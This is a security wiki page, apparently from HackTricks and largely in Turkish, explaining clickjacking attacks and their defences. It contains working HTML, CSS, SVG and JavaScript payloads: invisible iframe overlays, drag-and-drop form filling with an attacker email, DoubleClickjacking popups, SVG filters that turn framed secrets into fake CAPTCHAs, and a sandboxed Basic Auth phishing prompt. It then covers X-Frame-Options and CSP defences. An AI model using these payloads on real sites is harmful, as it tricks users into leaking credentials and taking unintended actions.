Clickjacking

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Clickjacking Nedir

Bir clickjacking saldırısında, bir kullanıcı kandırılarak bir web sayfasındaki bir öğeye tıklamaya zorlanır; bu öğe ya görünmezdir ya da farklı bir öğe gibi gizlenmiştir. Bu manipülasyon, kullanıcının istemediği sonuçlara yol açabilir; örneğin kötü amaçlı yazılım indirilmesi, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgileri veya hassas bilgilerin verilmesi, para transferleri veya çevrimiçi ürün satın alımları.

Formları önceden doldurma hilesi

Bazen bir sayfa yüklenirken GET parametreleri kullanılarak bir form alanının değerlerinin doldurulması mümkündür. Bir saldırgan bu davranışı, bir formu rastgele verilerle doldurmak ve clickjacking payload’unu göndererek kullanıcıyı Submit düğmesine bastırmak için kötüye kullanabilir.

Sürükle&Bırak ile form doldurma

Eğer bir kullanıcının bir formu doldurmasını istiyorsanız ama ona doğrudan belirli bilgileri (ör. bildiğiniz e-posta veya belirli şifre) yazmasını söylemek istemiyorsanız, ona sadece sizin kontrolünüzdeki veriyi yazacak bir şeyi Drag&Drop etmesini isteyebilirsiniz; bu örnekteki gibi.

Temel Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Çok Adımlı Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Eğer bir kullanıcının tıklamasını gerektiren XSS tespit ettiyseniz ve sayfa clickjacking’e karşı savunmasız ise, bunu kullanıcının düğmeye/bağlantıya tıklamasını sağlamak için kötüye kullanabilirsiniz.
Örnek:
Hesabın bazı özel bilgilerinde (sadece sizin ayarlayıp okuyabildiğiniz) bir self XSS buldunuz. Bu detayları ayarlayan formun bulunduğu sayfa Clickjackinge karşı vulnerable ve formu GET parametreleriyle ön-doldurabilirsiniz.
Bir saldırgan, formu XSS payload ile ön-doldurarak ve kullanıcıyı formu göndermesi için kandırarak, bu sayfaya bir Clickjacking saldırısı hazırlayabilir. Yani form gönderildiğinde ve değerler değiştirildiğinde, kullanıcı XSS’i çalıştırmış olur.

DoubleClickjacking

Öncelikle explained in this post, bu teknik kurbanı belirli bir konuma yerleştirilmiş bir custom sayfadaki düğmeye çift tıklamaya zorlar ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak çift tıklama sırasında hedef sayfayı yükler; böylece kurban aslında hedef sayfadaki meşru bir düğmeye tıklar.

Bir örnek bu videoda görülebilir: https://www.youtube.com/watch?v=4rGvRRMrD18

Bir kod örneği bu sayfada bulunabilir.

Warning

Bu teknik, kullanıcıyı kurban sayfasında tek bir yere tıklamaya kandırıp clickjacking’e karşı tüm korumaları atlamayı sağlar. Bu nedenle saldırganın yalnızca 1 tıklama ile yapılabilen OAuth izinlerini kabul etme gibi hassas işlemleri bulması gerekir.

Bazı PoC’lar iframe’leri tamamen bırakır ve imlecin altına hizalanmış bir arka plan popup tutar. Saldırgan sayfası mousemove olayını takip eder ve moveTo() ile taşınan küçük bir popup (window.open) kullanırken popup same-origin olur; hizalandıktan sonra bir sonraki tıklamanın gerçek düğmeye gelmesi için target origine geri yönlendirilir. Cross‑origin moveTo() engellendiği için popup, yeniden konumlandırma için kısa süreliğine saldırgan origin’ine yönlendirilir, sonra location/history.back() hedefe döndürür. Tıklama anında hedefi görünür kılmak için saldırgan popup’ı URL’yi değiştirmeden öne getirmek amacıyla aynı pencere adıyla yeniden açabilir.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Modern Chromium/WebKit/Gecko sürümleri, CSS filter:url(#id)’in cross-origin iframe’lere uygulanmasına izin veriyor. Iframe’in rasterize edilmiş pikselleri SVG filter grafiğine SourceGraphic olarak sunuluyor; bu nedenle feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology gibi primitifler, saldırgan DOM’a hiç dokunmasa bile kullanıcı görmeden önce hedef UI’yı keyfi olarak çarpıtabilir. Basit bir Liquid-Glass tarzı filtre şu şekilde görünür:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Kullanışlı primitifler: feImage saldırganın bitmap’lerini yükler (ör. overlays, displacement maps); feFlood sabit renkli matlar oluşturur; feOffset/feGaussianBlur vurguları iyileştirir; feDisplacementMap metni büküp çarpıtır; feComposite operator="arithmetic" kanal başına keyfi matematik uygular (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), bu kontrast arttırma, maskeleme ve AND/OR işlemleri için yeterlidir; feTile piksel örneklerini kırpar ve çoğaltır; feMorphology çizgileri büyütür/küçültür; feColorMatrix luma’yı alfa’ya taşıyarak hassas maskeler oluşturur.

secrets’i CAPTCHA tarzı istemlere çarpıtma

Eğer bir framable endpoint secrets (tokens, reset codes, API keys) render ediyorsa, saldırgan bunları CAPTCHA’ya benzer hale getirip elle yazıya dökülmesini sağlayabilir:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.

Mağdur girdilerini yeniden bağlamsallaştırma

Filtreler, kullanıcı tuş vuruşlarını korurken placeholder/doğrulama metnini cerrahi olarak silebilir. Bir iş akışı:

  1. feComposite operator="arithmetic" k2≈4 parlaklığı artırır, böylece gri yardımcı metin beyaza doygunlaşır.
  2. feTile çalışma alanını input dikdörtgenine sınırlar.
  3. feMorphology operator="erode" mağdur tarafından yazılan koyu glifleri kalınlaştırır ve bunları result="thick" ile depolar.
  4. feFlood beyaz bir plaka oluşturur, feBlend mode="difference" thick ile kullanılır ve ikinci bir feComposite k2≈100 bunu keskin bir luma matte’e çevirir.
  5. feColorMatrix o lumayı alfa’ya taşır ve feComposite in="SourceGraphic" operator="in" yalnızca kullanıcı tarafından girilmiş glifleri tutar.
  6. Başka bir feBlend in2="white" artı ince bir kırpma temiz bir metin kutusu sağlar; bundan sonra saldırgan kendi HTML etiketlerini (örn. “Enter your email”) bindirir; gizli iframe hâlâ mağdur origin’inin parola politikasını uygular.

Safari feTile ile zorlanır; aynı etki, WebKit-e özgü payload’lar için feFlood + feColorMatrix + feComposite ile oluşturulmuş uzamsal mattelerle çoğaltılabilir.

Piksel probeleri, mantık ve durum makineleri

feTile ile 2–4 px’lik bir bölgeyi kırparak ve bunu görünüm penceresinin 100%’üne döşeyerek, saldırgan örneklenen rengi boolean bir maskeye eşiklenebilecek tam çerçeve bir dokuya dönüştürür:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Herhangi bir renk için, bir feFlood referansı (örn. #0B57D0) artı feBlend mode="difference" ve başka bir arithmetic composite (k2≈100, tolerans olarak k4) örneklenen piksel hedef tonda eşleştiğinde yalnızca beyaz çıkarır. Bu maskeleri feComposite içine ayarlı k1..k4 ile beslemek mantık kapıları üretir: AND için k1=1, OR için k2=k3=1, XOR için feBlend mode="difference", NOT için beyaz ile blend. Kapıları zincirlemek filtre grafiği içinde bir tam toplayıcı (full adder) oluşturur ve pipeline’ın fonksiyonel olarak tamamlayıcı olduğunu kanıtlar.

Bu nedenle saldırganlar JavaScript olmadan UI durumunu okuyabilir. Bir modal iş akışından örnek boolean’lar:

  • D (dialog visible): karartılmış bir köşeyi kontrol edin ve beyaza göre test edin.
  • L (dialog loaded): buton hazır olduğunda göründüğü koordinatları kontrol edin.
  • C (checkbox checked): onay kutusu pikselini aktif mavi #0B57D0 ile karşılaştırın.
  • R (red success/failure banner): banner dikdörtgeni içinde feMorphology ve kırmızı eşiklerden yararlanın.

Algılanan her durum, feImage xlink:href="data:..." ile gömülü farklı bir overlay bitmap’ini tetikler. Bu bitmap’leri D, L, C, R ile maskelerken kaplamalar gerçek diyalogla senkronize kalır ve kurbanı DOM’u hiçbir zaman açığa çıkarmadan çok adımlı iş akışlarında (parola sıfırlama, onaylar, yıkıcı onaylar) yönlendirir.

Sandboxed iframe Basic Auth dialog (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. Diyalog tarayıcının ağ/kimlik doğrulama katmanı tarafından oluşturulur (JS alert/prompt/confirm değil), bu yüzden sandbox’taki popup kısıtlamaları bunu baskılamaz. Eğer iframe’i scriptleyebiliyorsanız (örn. sandbox="allow-scripts") onu Basic Auth challenge çıkaran herhangi bir endpoint’e yönlendirebilirsiniz:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Yanıt geldiğinde, tarayıcı popup’lar yasaklanmış olsa bile kimlik bilgileri istemi gösterir. Bu hileyle güvenilir bir origin’i çerçevelemek UI redress/phishing’e olanak sağlar: “sandboxed” bir bileşen içindeki beklenmedik modal istemler kullanıcıları şaşırtabilir veya parola yöneticilerinin saklı kimlik bilgilerini sunmasına neden olabilir.

Tarayıcı uzantıları: DOM-based autofill clickjacking

Mağdur sayfalarını iframe’lemenin dışında, saldırganlar sayfaya enjekte edilen tarayıcı uzantısı UI öğelerini hedefleyebilir. Parola yöneticileri odaklanmış inputların yakınında autofill açılır menüleri render eder; saldırgana ait bir alanı odaklayıp uzantının açılır menüsünü gizleyerek/örtüşme yaptırarak (opacity/overlay/top-layer tricks), zorlanan bir kullanıcı tıklaması saklı bir öğeyi seçip hassas verileri saldırgana ait alanlara doldurabilir. Bu varyant iframe açığa maruz kalması gerektirmez ve tamamen DOM/CSS manipülasyonu ile çalışır.

A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Strategies to Mitigate Clickjacking

İstemci Tarafı Savunmaları

İstemci tarafında çalışan scriptler Clickjacking’i önlemek için şu eylemleri gerçekleştirebilir:

  • Uygulama penceresinin ana veya üst pencere olduğunu doğrulamak.
  • Tüm frame’leri görünür yapmak.
  • Görünmez frame’lerdeki tıklamaları engellemek.
  • Olası Clickjacking girişimlerini tespit edip kullanıcılara uyarmak.

Ancak, bu frame-busting scriptleri aşılabilir:

  • Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin olmamasına bağlı olarak bu scriptleri engelleyebilir.
  • HTML5 iframe sandbox Attribute: Bir saldırgan, sandbox özniteliğini allow-forms veya allow-scripts değerleriyle ancak allow-top-navigation olmadan ayarlayarak frame buster scriptlerini etkisiz hale getirebilir. Bu, iframe’in üst pencere olup olmadığını doğrulamasını engeller, örneğin
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-forms ve allow-scripts değerleri iframe içinde işlemlere izin verirken üst seviyedeki navigasyonu devre dışı bırakır. Hedef sitenin amaçlanan işlevselliğini sağlamak için saldırı türüne bağlı olarak allow-same-origin ve allow-modals gibi ek izinler gerekli olabilir. Hangi izinlerin verilmesi gerektiği konusunda tarayıcı konsolundaki mesajlar yol gösterici olabilir.

Sunucu Tarafı Savunmaları

X-Frame-Options

The X-Frame-Options HTTP response header tarayıcılara bir sayfanın <frame> veya <iframe> içinde görüntülenmesinin meşru olup olmadığı hakkında bilgi vererek Clickjacking’i önlemeye yardımcı olur:

  • X-Frame-Options: deny - Hiçbir alan adı içeriği çerçeveleyemez.
  • X-Frame-Options: sameorigin - Yalnızca mevcut site içeriği çerçeveleyebilir.
  • X-Frame-Options: allow-from https://trusted.com - Yalnızca belirtilen ‘uri’ sayfayı çerçeveleyebilir.
  • Sınırlamalara dikkat edin: tarayıcı bu yönergeyi desteklemiyorsa çalışmayabilir. Bazı tarayıcılar CSP’nin frame-ancestors yönergesini tercih eder.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP Clickjacking koruması için önerilen yöntemdir:

  • frame-ancestors 'none' - X-Frame-Options: deny ile benzer.
  • frame-ancestors 'self' - X-Frame-Options: sameorigin ile benzer.
  • frame-ancestors trusted.com - X-Frame-Options: allow-from ile benzer.

Örneğin, aşağıdaki CSP yalnızca aynı domain’den çerçevelemeye izin verir:

Content-Security-Policy: frame-ancestors 'self';

Daha fazla ayrıntı ve karmaşık örnekler için frame-ancestors CSP documentation ve Mozilla’s CSP frame-ancestors documentation sayfalarına bakın.

Content Security Policy (CSP) ile child-src ve frame-src

Content Security Policy (CSP), tarayıcının hangi kaynaklardan içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyonu saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.

frame-src Yönergesi

  • Çerçeveler için geçerli kaynakları tanımlar.
  • default-src yönergesinden daha özeldir.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden gelen çerçevelere izin verir.

child-src Yönergesi

  • CSP seviye 2’de, web worker’lar ve çerçeveler için geçerli kaynakları belirlemek amacıyla tanıtıldı.
  • frame-src ve worker-src için bir yedek olarak davranır.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Bu politika aynı origin (self) ve https://trusted-website.com’dan gelen frames ve workers’a izin verir.

Kullanım Notları:

  • Kaldırılma: child-src, frame-src ve worker-src lehine aşamalı olarak kullanımdan kaldırılıyor.
  • Yedek Davranış: Eğer frame-src yoksa, child-src frame’ler için yedek olarak kullanılır. Her ikisi de yoksa default-src kullanılır.
  • Katı Kaynak Tanımı: İstismarı önlemek için direktiflere yalnızca güvenilir kaynakları dahil edin.

JavaScript Frame-Breaking Scripts

Tamamen kusursuz olmasa da, JavaScript-based frame-busting scripts bir web sayfasının frame içinde gösterilmesini engellemek için kullanılabilir. Örnek:

if (top !== self) {
top.location = self.location
}

Anti-CSRF Tokens Kullanımı

  • Token Validation: Web uygulamalarında anti-CSRF tokens kullanın; durum değiştiren (state-changing) isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından ve Clickjacked bir sayfa aracılığıyla yapılmadığından emin olun.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin